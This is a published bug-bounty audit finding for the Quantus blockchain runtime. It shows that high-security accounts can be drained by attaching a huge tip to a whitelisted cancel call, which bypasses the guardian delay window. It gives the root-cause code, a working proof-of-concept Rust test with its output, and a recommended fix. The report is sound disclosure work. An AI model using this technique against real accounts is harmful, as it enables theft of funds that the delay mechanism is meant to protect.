Summary
Published Immunefi report #89347 (IMM-BC-CRITICAL-88609, pp. 18-19 of the official Immunefi / Quantus Audit Competition Report PDF).
Quantus high-security accounts (pallet_reversible_transfers) are designed so that an attacker who compromises an account’s signing key cannot move funds immediately: all transfers must enter a delay window during which a configured guardian can cancel them.
However, ReversibleTransactionExtension enforces the high-security policy on the call only and never inspects the extrinsic tip. A signed extrinsic calling a whitelisted function (ReversibleTransfers::cancel) with a large tip passes the high-security gate and immediately withdraws the account’s entire free balance (down to EXISTENTIAL_DEPOSIT) during ChargeTransactionPayment pre-dispatch, with no delay, no pending transfer record, and nothing for the guardian to cancel or recover.
Root cause
In runtime/src/lib.rs (commit 3b243b870a5442a6e5f443056f67bbba87d472f5), ReversibleTransactionExtension runs before ChargeTransactionPayment in TxExtension, but its validate method only checks the call variant:
if !crate::configs::HighSecurityConfig::is_call_allowed(&who, call) {
return Err(TransactionValidityError::Invalid(InvalidTransaction::Custom(1)));
}
In primitives/high-security/src/lib.rs, is_call_allowed checks !is_high_security || is_whitelisted(call). The tip is not passed to is_call_allowed, and pallet_reversible_transfers never inspects or caps tips anywhere in the runtime.
Because ReversibleTransfers::cancel is whitelisted in runtime/src/configs/mod.rs:
- A signed
cancel(H256::default())from the high-security account passesReversibleTransactionExtension::validate. ChargeTransactionPaymentcomputes the fee including the arbitrary caller-chosen tip and withdrawsfee + tipfrom the sender’s free balance inprepare(pre-dispatch), before the call body executes.- Even though
canceltargets a nonexistenttx_id, the pre-dispatch fee and tip withdrawal has already succeeded and is queued inCollectedFees, wherepallets/mining-rewards/src/lib.rspays it out to the block author.
Proof of concept
Running cargo test -p quantus-runtime --test hs_tip_drain_poc -- --nocapture against commit 3b243b870a5442a6e5f443056f67bbba87d472f5:
victim free balance before : 100000000000
control: direct transfer BLOCKED by high-security whitelist
attack : whitelisted cancel ALLOWED by high-security whitelist
inclusion fee (no tip) : 1028157000
attacker-chosen tip : 97971843000
victim free balance after : 1000000000
value removed : 99000000000
CollectedFees after : 99000000000
test result: ok. 2 passed
Core test logic:
let direct = RuntimeCall::Balances(pallet_balances::Call::transfer_allow_death {
dest: MultiAddress::Id(outsider()),
value: free_before / 2,
});
assert!(hs_gate(&direct).is_err());
let call = RuntimeCall::ReversibleTransfers(pallet_reversible_transfers::Call::cancel {
tx_id: sp_core::H256::default(),
});
assert!(hs_gate(&call).is_ok());
let info = call.get_dispatch_info();
let fee_no_tip = pallet_transaction_payment::Pallet::<Runtime>::compute_fee(0, &info, 0u128);
let tip = free_before.saturating_sub(EXISTENTIAL_DEPOSIT).saturating_sub(fee_no_tip);
let (_valid, val, origin) = ChargeTransactionPayment::<Runtime>::from(tip)
.validate(RuntimeOrigin::signed(victim()), &call, &info, 0, (), &TxBaseImplication::<()>(()), TransactionSource::External)
.expect("unbounded tip accepted");
let _pre = ChargeTransactionPayment::<Runtime>::from(tip)
.prepare(val, &origin, &call, &info, 0)
.expect("fee + tip withdrawal");
assert_eq!(Balances::free_balance(victim()), EXISTENTIAL_DEPOSIT);
assert!(pallet_reversible_transfers::PendingTransfersBySender::<Runtime>::get(victim()).is_empty());
Impact
An attacker holding a compromised high-security key (or tricking a user into signing a whitelisted cancel extrinsic) drains 99% of the account’s free balance in a single block, bypassing the delay window and guardian interception guarantees documented in pallets/reversible-transfers/README.md. If the submitter also mines/authors the block, pallets/mining-rewards mints the collected tip directly to the attacker.
Recommended fix
Reject non-zero tips (or enforce a strict low tip ceiling) for high-security origins inside ReversibleTransactionExtension, or route any tip above the base inclusion fee through the delayed, guardian-cancellable transfer mechanism.